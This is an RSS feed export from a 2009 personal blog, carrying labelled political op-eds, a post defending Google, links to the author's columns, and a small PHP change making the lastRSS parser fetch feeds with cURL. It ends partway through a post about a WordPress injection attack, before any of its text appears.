<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kyle Brady:  Blog &#187; Kyle Brady</title>
	<atom:link href="http://www.kyle-brady.com/author/kyle/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kyle-brady.com</link>
	<description>coherent thoughts on diverse topics</description>
	<lastBuildDate>Fri, 20 Nov 2009 12:10:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='www.kyle-brady.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Education Is Not A Budget Solution &#91;OpEd&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/20/education-is-not-a-budget-solution/</link>
		<comments>http://www.kyle-brady.com/2009/11/20/education-is-not-a-budget-solution/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 08:05:35 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[OpEd]]></category>
		<category><![CDATA[America]]></category>
		<category><![CDATA[Budget]]></category>
		<category><![CDATA[California]]></category>
		<category><![CDATA[Congress]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[Obama]]></category>
		<category><![CDATA[Politics]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5165</guid>
		<description><![CDATA[

The California Legislature has become infamous for its inability to pass timely legislation or manage a budget, regardless of deficits or surpluses, and they have recently been using the legislative magic bullet to solve their budget woes:  the public education system.

Whenever states have budgetary issues, they turn to cutting expenses they see as needless rather [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.kyle-brady.com/wp-content/uploads/2009/11/education.png"><img class="aligncenter size-full wp-image-5166" title="education" src="http://www.kyle-brady.com/wp-content/uploads/2009/11/education.png" alt="education" width="500" height="309" /></a></p><br />
<br />
The California Legislature has become infamous for its inability to pass timely legislation or manage a budget, regardless of deficits or surpluses, and they have recently been using the legislative magic bullet to solve their budget woes:  the public education system.<br />
<br />
Whenever states have budgetary issues, they turn to cutting expenses they see as needless rather than handling the issue appropriately, or even cutting their own salaries and benefits – raising taxes on <a href="http://www.kyle-brady.com/2009/10/05/rethinking-the-corporate-structure/">rich corporations that jump through loopholes</a> to be tax-free is never an option, of course, and neither is substantially taxing individuals <a href="http://www.cbsnews.com/stories/2009/11/19/eveningnews/main5714036.shtml">who receive exorbitant compensation</a>.  The solution six months ago for California was to cut funding for the <a href="http://en.wikipedia.org/wiki/University_of_California">UC</a>, <a href="http://en.wikipedia.org/wiki/California_State_University">CSU</a>, and <a href="http://en.wikipedia.org/wiki/California_Community_Colleges_system">CCC</a> state higher education system, which resulted in higher tuition while reducing class sizes, enforcing mandatory faculty furlough days, and cutting funding to related programs.  This, they believe, was a good decision that would benefit all of California, and <a href="http://www.contracostatimes.com/california/ci_13819071">they’ve done it again</a>, with a possible 32% increase in tuition with admission denied to younger students and a continuation of the “higher price, lower quality” policy.<br />
<br />
This, quite simply, is idiotic.<br />
<br />
America’s public school system has become something of a joke, where <a href="http://www.informatics-review.com/FAQ/reading.html">reading is a difficult task</a> and remedial math is the pinnacle of most students’ academic careers – cutting budgets to an already underfunded, understaffed, drowning-in-problems system is not going to help it improve.  The rhetoric in Congress, as well as from President Obama, is that education is fundamental to the nation’s future and in regaining status as the most brilliant and scientifically-minded in the world.  President Obama, in fact, has emphasized the importance of <em>true</em> higher education, <a href="http://www.kyle-brady.com/2009/06/11/the-decimation-of-a-generations-future/">rather than handing out degrees to those that bothered to attend class</a>.<br />
<br />
An understanding that education is important is helpful, until the political leaders decide that education is not important enough to be worthy of proper funding.  This is a problem nationwide, and it must be stopped.  Granted, the tuition increases for a California state school may seem low, even with an increase, but this system provides for those that are not financially well-off enough to be able to afford the Ivy League education many may wish for.  Furthermore, decreased class offerings and furlough days not only detract from the quality of the education paid for, but make a student’s graduation significantly more difficult, often extending the time needed to graduate, which, by its very nature, puts further strains on an already strained system.<br />
<br />
Politicians need to understand a basic, fundamental truth:  America will not prosper as a nation with a pitiable sixth-grade reading level that can barely do algebra, let alone understand the principles of calculus or understand philosophical ideologies.  Yet this is where the future seems to lie, as educational funding has been in a downward spiral for some time with an additional, and worrying, de-emphasis of outside-the-classroom learning by many modern parents.  Those who cannot read cannot think for themselves, thereby becoming political and economic sheep – the precursors of which <a href="http://www.kyle-brady.com/2009/09/14/its-time-to-end-the-gop/">are already being seen</a>.<br />
<br />
Budgets are understandably constricted at times, but funding should be increased, rather than decreased, for education, regardless of the effect it may have on other sectors.  Corporations can afford to pay higher taxes, especially in the current climate of tax-free companies, and exorbitant salaries, benefits, and programs can be either cut entirely or downsized.  Politicians should not a rich lifestyle make, and yet this is often found to be false.<br />
<br />
As if President Obama didn’t have enough issues to address in the first quarter of his first term, education must be quickly added to the slate.  Rhetoric is simply not enough, and action must be taken – federal-level legislation to assist in the funding of the nation’s education, as well as a mandate that educational budgets may not be downsized, would be a decent start.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/20/education-is-not-a-budget-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lastRSS Modified For cURL Use &#91;Self&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/17/lastrss-modified-for-curl-use/</link>
		<comments>http://www.kyle-brady.com/2009/11/17/lastrss-modified-for-curl-use/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 18:12:31 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Self]]></category>
		<category><![CDATA[cURL]]></category>
		<category><![CDATA[lastRSS]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[RSS]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5162</guid>
		<description><![CDATA[I recently had to use lastRSS for a project to parse some RSS feeds using PHP, and my server was being cranky about using fopen() to access URLs - despite being overridden to allow it.

So I decided to sidestep the issue and rewrite the file acquisition portion of lastRSS to use cURL instead of fopen, [...]]]></description>
			<content:encoded><![CDATA[I recently had to use <a href="http://lastrss.oslab.net/">lastRSS</a> for a project to parse some RSS feeds using <a href="http://www.php.net">PHP</a>, and my server was being cranky about using <a href="http://php.net/manual/en/function.fopen.php">fopen()</a> to access URLs - despite being overridden to allow it.<br />
<br />
So I decided to sidestep the issue and rewrite the file acquisition portion of lastRSS to use <a href="http://php.net/manual/en/book.curl.php">cURL</a> instead of fopen, and <a href="http://www.kyle-brady.com/downloads/lastRSSwithcURL.php">here it is</a>.<br />
<br />
The changes are in the Parse() function:<br />
<blockquote>function Parse ($rss_url) {<br />
// Open and load RSS file<br />
// now uses cURL instead of fopen() -- Kyle Brady [http://www.kyle-brady.com]<br />
<br />
$ch = curl_init();<br />
<br />
if ($ch !== false) {<br />
curl_setopt($ch, CURLOPT_URL, $rss_url);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />
$rss_content = curl_exec($ch);<br />
curl_close($ch);</blockquote><br />
<a href="http://www.kyle-brady.com/downloads/lastRSSwithcURL.php">Enjoy.</a>]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/17/lastrss-modified-for-curl-use/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Time To Leave George Bush Alone &#91;OpEd&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/17/time-to-leave-george-bush-alone/</link>
		<comments>http://www.kyle-brady.com/2009/11/17/time-to-leave-george-bush-alone/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 09:42:48 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[OpEd]]></category>
		<category><![CDATA[America]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Obama]]></category>
		<category><![CDATA[September 11th]]></category>
		<category><![CDATA[Torture]]></category>
		<category><![CDATA[Waterboarding]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=4978</guid>
		<description><![CDATA[

George W. Bush was not the best President the United States has ever had.

Regardless of individual political stance, or even opinion on the current Obama Administration, this is a generally accepted fact – what varies is whether former President George W. Bush was a “failure”, “success”, or just average.  Once again, however, political opinions on [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.kyle-brady.com/wp-content/uploads/2009/11/georgeWBush.png"><img class="aligncenter size-full wp-image-5160" title="georgeWBush" src="http://www.kyle-brady.com/wp-content/uploads/2009/11/georgeWBush.png" alt="georgeWBush" width="500" height="276" /></a></p><br />
<br />
George W. Bush was not the best President the United States has ever had.<br />
<br />
Regardless of individual political stance, or even opinion on the current Obama Administration, this is a generally accepted fact – what varies is whether former President George W. Bush was a “failure”, “success”, or just average.  Once again, however, political opinions on the validity or incompetence of Bush’s Presidency are not important, because what’s occurring around his Terms of Office, right now, that is.<br />
<br />
Without <a href="http://en.wikipedia.org/wiki/September_11_attacks">the September 11th attacks</a>, Bush would have arguably just been a generic President that wasn’t remembered for being particularly great or horrible, similar to historically unrecognizable names such as <a href="http://en.wikipedia.org/wiki/Martin_Van_Buren">Martin van Buren</a>, <a href="http://en.wikipedia.org/wiki/Millard_Fillmore">Millard Fillmore</a>, or <a href="http://en.wikipedia.org/wiki/Benjamin_Harrison">Benjamin Harrison</a>, and without any significant policy impact.  For the substantially worse, however, the 9/11 events did occur, and they changed America forever.  Following the events of September 2001, George W. Bush morphed from a amicable Texas man into a policy hardliner that wished to bring severe pain to those that had attacked the nation – and some that hadn’t.<br />
<br />
Over the following years, and two Terms of Office, Bush’s legacy swung unpredictably from success to disaster, and back again, on an almost daily basis, resulting in the Iraq and Afghanistan wars, unstable situations in both North Korea and Iran, and domestic policies that would lead to both scientific regression and economic collapse.  Inevitably, accusations of torture arose during and after the Administration, with regards to those held at <a href="http://en.wikipedia.org/wiki/Guantanamo_Bay_detention_camp">Guantanamo Bay</a> and elsewhere, specifically focusing on <a href="http://en.wikipedia.org/wiki/Waterboarding">waterboarding</a>.<br />
<br />
In the months since President Obama’s ascendancy to the White House, liberals throughout America, and many people in the world at large, have called for high-level investigations into the former President, Vice President, Secretary of State, and Secretary of Defense for their alleged involvement in torture, with the accusers’ intentions to find them guilty in a sympathetic court.  This, however, simply cannot happen.<br />
<br />
The investigations of both Nixon and Clinton were devastating to the United States and its people, tarnishing the world’s perspective of the country and dividing that nation into vicious politics, and yet neither of them were accused with such heavy-hearted allegations as would Bush.  America’s image has vastly improved as President Obama has worked to reestablish a formidable presence on the world stage, and trials for war crimes of a former President barely out of office would likely erase any progress that has been made.  Even more important, however, is that prosecuting George W. Bush for said accusations would set a dangerous precedent that would likely result in a greater Presidential disinterest to act as they feel is necessary, not to mention indicate to the world that the country is willing to submit to the political whims of those outside its borders.<br />
<br />
Modern politics, the Age of Obama, does not need any additional help to divide the nation or bring out the worst in American citizens – <a href="http://www.kyle-brady.com/2009/11/12/on-not-tolerating-intolerance/">fringe Republicans</a> and FOX “News” <a href="http://www.kyle-brady.com/2009/10/12/legitimate-healthcare-reform-is-fading-fast/">have done enough damage</a>.  Now is a time to look forward, and push onward, rather than dwell on the intellectual and ethical Dark Ages that recent history may very well have been.  As healthcare reform, economic recovery, financial sector regulation, and numerous other issues hold the attention of both the President and Congress, the United States seems to be heading in the direction of progress and self-improvement, despite the massive effort and time investments apparently necessary to accomplish these goals.<br />
<br />
Former President George W. Bush is just that – a former President.  As a man from Texas that’s not known for his eloquence or brilliance, he managed to change the country over his eight-year reign in a way that hasn’t been seen for decades, but it’s time to let him fade into the political ether as is only inevitable.  The media, liberals, and high-minded individuals nationwide must relinquish the idea of prosecuting the previous Administration for alleged crimes, and understand that it’s in the best interest of both the country and the world to leave George Bush alone.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/17/time-to-leave-george-bush-alone/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>A List of Reasons Why Google Isn&#8217;t Evil &#91;Expose&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/16/a-list-of-reasons-why-google-isnt-evil/</link>
		<comments>http://www.kyle-brady.com/2009/11/16/a-list-of-reasons-why-google-isnt-evil/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 08:10:41 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Expose]]></category>
		<category><![CDATA[Corporations]]></category>
		<category><![CDATA[Evil]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Protocols]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5153</guid>
		<description><![CDATA[There's been alot of talk recently about Google "being evil", because they have their hands in so many product arenas and have access to substantial amounts of user data, so it's time that someone pointed out why Google isn't "evil" or even becoming so.

First, look at it from Google’s perspective:

	their main interest is indexing the [...]]]></description>
			<content:encoded><![CDATA[There's been <a href="http://regulargeek.com/2009/11/15/google-makes-a-bid-to-control-the-internet/">alot of talk recently</a> about Google "being evil", because they have their hands in so many product arenas and have access to substantial amounts of user data, so it's time that someone pointed out why Google isn't "evil" or even becoming so.<br />
<br />
First, look at it from Google’s perspective:<br />
<ul><br />
	<li>their main interest is indexing the largest amount of content possible, and doing it fast so the content’s relevant</li><br />
	<li>the majority of the modern internet, everything from server to browser to protocols, is at least ten years old at the core</li><br />
	<li>Google’s results are only as good as their relevance and are sorted properly, so they have a vested interest in attempting to do so</li><br />
</ul><br />
Now, look at their behaviors:<br />
<ul><br />
	<li><a href="http://www.google.com/webmasters">“Webmaster Tools”</a> was arguably the first attempt by Google to make things faster/better on their own, by allowing webmasters to help Google better access sites</li><br />
	<li><a href="http://www.google.com/chrome">Chrome</a> takes marketshare away from Internet Explorer, which is beneficial to all mankind</li><br />
	<li>Javascript engine developments, like those found in Chrome, are a good thing – especially when they’re spread back to the community.  JS is notoriously slow in some browsers, and even in the fastest of them can still be sluggish</li><br />
	<li><a href="http://www.w3.org">the HTML standards</a> have been bogged down in meetings for years, and have achieved next to nothing – so Google’s begun pushing things like &lt;video&gt;, rather than wait for the W3C, who could take many more years to produce the same results</li><br />
	<li>Google has contributed highly to languages like <a href="http://www.python.org">Python</a>, <a href="http://www.php.net">PHP</a>, and <a href="http://www.mysql.com">MySQL</a> because of their intense usage of them – <a href="http://www.golang.org">creating a language</a> entirely is only a half step away from helping optimize pre-existing languages</li><br />
	<li><a href="http://blog.chromium.org/2009/11/2x-faster-web.html">wanting to augment the HTTP protocol</a>, and presumably make it backwards compatible, is a good goal:  HTTP is pretty slow at times, especially over things like 3G wireless networks. If it can be expanded to do more, or do things better, this benefits everyone</li><br />
</ul><br />
In case this isn’t easily pieced all together, here’s the gist:  Google may be doing lots of things out of semi-self-interest, but people need to remember that they’re not only doing these things in the open, they’re licensing many (most? all?) of these projects so that Google isn't in total control.  A new language that could be used to rewrite/replace <a href="http://www.apache.org">Apache</a>, in combination with a new web protocol, may seem dubious, but once you consider their licensing it's not.<br />
<br />
The comparison to Microsoft and other “monopolies” is easy to refute:  Microsoft participated in similar activities (IE, ActiveX, VB.Net, Windows Server, etc.), but did so either behind closed doors or with strict, proprietary licensing.  The fact that Google’s opening the door to Go in the same manner that PHP or Python does is an extremely crucial differentiation, and they’re very careful about doing this for all of their potentially gamechanging structure inventions.<br />
<br />
Now if Google were to do all of this but not distribute source code, or sue a bunch of people for using it in a way they didn’t expect or don’t appreciate, that would be entirely different.  But they’re not, and they’re not likely to either – even if they don’t have control over creations like Go, they’ll be happy to see it used because, in the end, it benefits them too.<br />
<br />
Most of Google's products can't be forced on people – they have to choose to use them, something that Microsoft’s products have never really needed, or chosen, to do.<br />
<br />
<a href="http://regulargeek.com/2009/11/15/google-makes-a-bid-to-control-the-internet/">[inspired by Rob Diana]</a>]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/16/a-list-of-reasons-why-google-isnt-evil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;The Epic Wordpress + MediaTemple Failure&#8221; &#91;Self&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/15/the-epic-wordpress-mediatemple-failure/</link>
		<comments>http://www.kyle-brady.com/2009/11/15/the-epic-wordpress-mediatemple-failure/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 21:57:46 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Self]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5147</guid>
		<description><![CDATA[New column at the Inquisitr:
If there’s a security issue floating around, you’d imagine that those behind the problem would be extremely interested in fixing it as soon as possible… right?  Well, apparently not.
Go check it out.]]></description>
			<content:encoded><![CDATA[New column <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">at <em>the Inquisitr</em></a>:<br />
<blockquote>If there’s a security issue floating around, you’d imagine that those behind the problem would be extremely interested in fixing it as soon as possible… right?  Well, apparently not.</blockquote><br />
<a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Go check it out</a>.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/15/the-epic-wordpress-mediatemple-failure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On Not Tolerating Intolerance &#91;OpEd&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/12/on-not-tolerating-intolerance/</link>
		<comments>http://www.kyle-brady.com/2009/11/12/on-not-tolerating-intolerance/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 08:05:58 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[OpEd]]></category>
		<category><![CDATA[America]]></category>
		<category><![CDATA[Beliefs]]></category>
		<category><![CDATA[Bias]]></category>
		<category><![CDATA[Intolerance]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Religion]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5136</guid>
		<description><![CDATA[

The last few months in America have illuminated a large and worrisome bias like never before:  citizens must respect the beliefs, lifestyles, opinions, and behaviors of others, so long as they’re legal – except when those same citizens have exclusionary beliefs that apparently allow them to criticize, condemn, vilify, smear, and generally ruin the lives [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.kyle-brady.com/wp-content/uploads/2009/11/solitaryProtest.png"><img class="aligncenter size-full wp-image-5140" title="solitaryProtest" src="http://www.kyle-brady.com/wp-content/uploads/2009/11/solitaryProtest.png" alt="solitaryProtest" width="600" height="339" /></a></p><br />
<br />
The last few months in America have illuminated a large and worrisome bias like never before:  citizens must respect the beliefs, lifestyles, opinions, and behaviors of others, so long as they’re legal – except when those same citizens have exclusionary beliefs that apparently allow them to criticize, condemn, vilify, smear, and generally ruin the lives or happiness of others.<br />
<br />
This is not a law passed by Congress nor is it an Executive Order – it can’t even be found in the Constitution.  The perplexing mix of “don’t criticize me, but I’ll criticize you” is based on a severe misinterpretation of a small part of the Constitution that has mutated over time into a weapon for these groups of people, most of whom have biases that can be traced to religious fundamentalism, racism, and other extremist perspectives that subjugate others for some benefit.<br />
<br />
There is a line that divides tolerating another’s religion, political opinion, or personal beliefs, and tolerating intolerant behaviors – nowhere in modern, mainstream Christianity is there a provision that all other religions must be attacked and their people converted to a specific flavor of Christ followers, and yet this is what more and more fundamentalist Christians are coming to believe.  Nowhere in any of the laws of the federal government does it state that a political party must follow the ideological whims of party leaders to the point of violence and chaos, and yet this is the behavior of the fringe-becoming-mainstream participants of the Republican Party.<br />
<br />
These intolerant behaviors are either on a quick rise to prominence, or they are simply coming out of the dark depths, but the end result is the same:  intolerance is becoming a core virtue for many Americans, and it is destroying society.  In the case of the <a href="http://www.nytimes.com/2009/11/06/us/06forthood.html?_r=1">recent Fort Hood shooting</a>, pundits were <a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/11/06/AR2009110603182.html">quick to jump to Islamic terrorism</a> long before there was any public evidence to support this, simply on the premise of his name, and this is supposed to be acceptable?  There is considerable media focus on the murders and destruction that those of Islamic belief create, and an extreme ignorance of the same behaviors from a more widespread religion inside America – where are the cries of religious fundamentalism <a href="http://www.telegraph.co.uk/news/worldnews/northamerica/usa/6540438/Abortion-doctor-murder-suspect-says-killing-was-justified.html">when all-too-human doctors are murdered by Christians</a>?<br />
<br />
The tolerance of intolerance is reaching a critical breaking point, and the country, as a whole, must come to realize this.  The situation is so advanced that the blatant lies and fear mongering that are spread by the likes of Bill O’Reilly, Glenn Beck, Sarah Palin, and Rush Limbaugh are often treated as truth by legitimate networks, such as <em>CNN</em>, and this needlessly spreads their message to others.  Congressional Republicans have acted on a campaign of negation and delay, using lies and misinformation to their own benefit, ever since President Obama’s arrival in the White House, and this is accepted as normal politics by many, trickling down to the polarized citizens who mimic such behaviors in their own daily lives.<br />
<br />
All of this has resulted in banning gay marriage <a href="http://latimesblogs.latimes.com/washington/2009/11/gay-rights-slip-in-maine-advance-in-kalamazoo.html">by referendum in state after state</a>, a highly vicious and partisan political atmosphere, the rise of Creationism as a supposedly legitimate counter-theory to Evolution, the justification of a newfound and spreading racism, continued rash and negligent behaviors by the very banks that almost destroyed the interconnected globe, and considerably more.  If America continues on its current path of tolerating intolerance, the next decade will see both civilian and military disaster on a scale unprecedented – Civil Rights laws were enacted for a reason, and yet some fundamental rights, or even common courtesies, are continually denied to some citizens.<br />
<br />
The solution is clear:  news networks must immediately cease reporting falsehoods of any kind, all forms of religion must be once again distinctly separated from the state in every fashion, and the political leaders of the country must rise to the occasion and enact legitimate consequences for those who do not follow the basic principles of sanity and legitimate tolerance.  To fail to do so, soon, will result in an ever-deteriorating climate that will inevitably, truly tear the country apart.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/12/on-not-tolerating-intolerance/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;Let&#8217;s Stop The Nonsense, OK?&#8221; &#91;Self&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/09/lets-stop-the-nonsense-ok/</link>
		<comments>http://www.kyle-brady.com/2009/11/09/lets-stop-the-nonsense-ok/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 08:10:36 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Self]]></category>
		<category><![CDATA[Inquisitr Column]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5133</guid>
		<description><![CDATA[New column at the Inquisitr:
If you’re one of the people that goes insane and hyper-joyous over things like Twitter Lists, you need to seek medical help – these “features”, used in the loosest sense of the software term, are not something to get overly excited about.
Go check it out.]]></description>
			<content:encoded><![CDATA[New column <a href="http://www.inquisitr.com/46727/lets-stop-the-nonsense-ok/">at <em>the Inquisitr</em></a>:<br />
<blockquote>If you’re one of the people that goes insane and hyper-joyous over things like Twitter Lists, you need to seek medical help – these “features”, used in the loosest sense of the software term, are not something to get overly excited about.</blockquote><br />
<a href="http://www.inquisitr.com/46727/lets-stop-the-nonsense-ok/">Go check it out</a>.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/09/lets-stop-the-nonsense-ok/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Healthcare Has a Glimmer of Hope &#91;OpEd&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/09/healthcare-has-a-glimmer-of-hope/</link>
		<comments>http://www.kyle-brady.com/2009/11/09/healthcare-has-a-glimmer-of-hope/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 08:05:56 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[OpEd]]></category>
		<category><![CDATA[America]]></category>
		<category><![CDATA[Congress]]></category>
		<category><![CDATA[Healthcare]]></category>
		<category><![CDATA[House of Representatives]]></category>
		<category><![CDATA[Politics]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5124</guid>
		<description><![CDATA[

On Saturday night, the 7th of November 2009, a moment that is being called “historic” by some passed by without much notice to the general American population until Sunday:  the healthcare reform bill was voted on, and passed, in the House of Representatives.  Not in a committee or in some pre-approval vote-to-vote fashion, but the [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.kyle-brady.com/wp-content/uploads/2009/11/capitolBuilding.png"><img class="aligncenter size-full wp-image-5128" title="capitolBuilding" src="http://www.kyle-brady.com/wp-content/uploads/2009/11/capitolBuilding.png" alt="capitolBuilding" width="600" height="324" /></a></p><br />
<br />
On Saturday night, the 7th of November 2009, a moment that is being <a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/11/08/AR2009110817078.html?hpid=topnews">called “historic”</a> by some passed by without much notice to the general American population until Sunday:  the healthcare reform bill was <a href="http://www.latimes.com/news/nationworld/nation/healthcare/la-na-healthcare-house8-2009nov08,0,1723384.story">voted on, and passed</a>, in the House of Representatives.  Not in a committee or in some pre-approval vote-to-vote fashion, but the actual, legitimate bill.<br />
<br />
This is mostly good news for the country and the issue of healthcare reform, as half of Congress has now definitively taken a stance on the issues at hand, but the battle is far from over: the Senate must vote on their own version of a healthcare bill, and there will likely be even more time spent afterward wrangling a single bill out of the two for the President to sign into law.  However, the fact that the House of Representatives<a href="http://www.nytimes.com/aponline/2009/11/08/us/politics/AP-US-House-RollCall-Health-Care.html?_r=1&amp;pagewanted=all"> took a vote</a> now is indicative of their intent, since the Senate Majority Leader has <a href="http://blogs.usatoday.com/onpolitics/2009/11/health-care-timeline-in-question.html">only recently stated</a> a vote in the Senate could possibly occur after the start of 2010 – this is the House giving impetus to their slower-moving legislative counterparts.<br />
<br />
The vote was broadcast on C-SPAN some time around 11pm PST, repackaged for CNN and other major infotainment stations, and the fifteen-minute process delivered some interesting information to the viewers: the ability to watch how long it took 30-or-so Democratic Representatives to decide where they stand was an astounding display of political dithering.  Additionally, Republicans, barely after the start of the vote, had almost unanimously voted against the bill, but <a href="http://prescriptions.blogs.nytimes.com/2009/11/08/health-bill-earns-one-republican-vote/">a lone Republican, Anh "Joseph" Cao, eventually voted in its favor</a>, even as 39 Democrats displayed where their true loyalties lay.<br />
<br />
Displays such as this by the Republican Party show that they truly are, at least at the representation level, the “Party of ‘No’”, their previous procedural attempts to block the vote completely notwithstanding.  Despite a serious number of concessions that raise grave concerns about the legitimate impact of the bill, such as a removal of support for abortions via public option, did not seem to have any effect on how the GOP House Representatives voted – what, then, was the purpose of attempting to negotiate with them?  This is likely a preview of how the Senate’s vote will proceed, with a majority of its members voting along party lines and a small handful standing as the “deciding factors”.<br />
<br />
The bill from the House is far from perfect, but it is a decent foundation and a definitive declaration of intent to the American people – it has very little chance of becoming actual law as it currently stands, but the tone has been set, and that is almost as important as the legislation itself.  It is worrisome, however, that the last six months have been essentially wasted in argument, discussion, and propaganda, thanks, in large part, to the childlike and irrational oppositional display shown <em>en masse</em>.<br />
<br />
It’s important to note that the Democrats who voted for the bill were not in favor of all its amendments and provisions, but rather in support of a majority of them and the ideological force behind the bill.  Republicans would have done better to vote more fluidly in this nature, with public statements on their likes/dislikes, but, at this point, such behavior cannot be expected from the party <a href="http://newsbusters.org/blogs/noel-sheppard/2009/11/08/donaldson-if-gop-follows-sarah-palin-glenn-beck-its-doomed">that is collapsing on itself</a>.<br />
<br />
The Senate must now make a push for their version of the bill to be voted on within the very near future, lest this process be extended any further than necessary without any gains, most especially since those in opposition have proven they are not interested in having their vote being swayed – <a href="http://www.youtube.com/watch?v=Ery7RZ4tZ2Y&amp;feature=player_embedded">Olympia Snowe does not matter</a>.  Leaving this piece of legislation to linger in the Senate past the New Year would be a crushing blow to progress, as the first few months of the year are always dedicated to financing the government and other administrative deeds.  The strategy during the Clinton Administration was for the Republicans to delay until an election year, where Congressmen would be more careful of how they vote, and their current not-so-secret scheming are exactly the same.<br />
<br />
Healthcare reform, the public option included, now has a glimmer of hope, thanks to most of the House Democrats and Representative Cao.  The fate of the bill now rests with the Senate, which the American people can only hope will make the ethically correct decision to deal with the health, state, and general welfare of the country sooner rather than later.]]></content:encoded>
			<wfw:commentRss>http://www.kyle-brady.com/2009/11/09/healthcare-has-a-glimmer-of-hope/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress, MediaTemple, and an Injection Attack &#91;Expose&#93;</title>
		<link>http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/</link>
		<comments>http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 00:04:45 +0000</pubDate>
		<dc:creator>Kyle Brady</dc:creator>
				<category><![CDATA[Expose]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kyle-brady.com/?p=5117</guid>
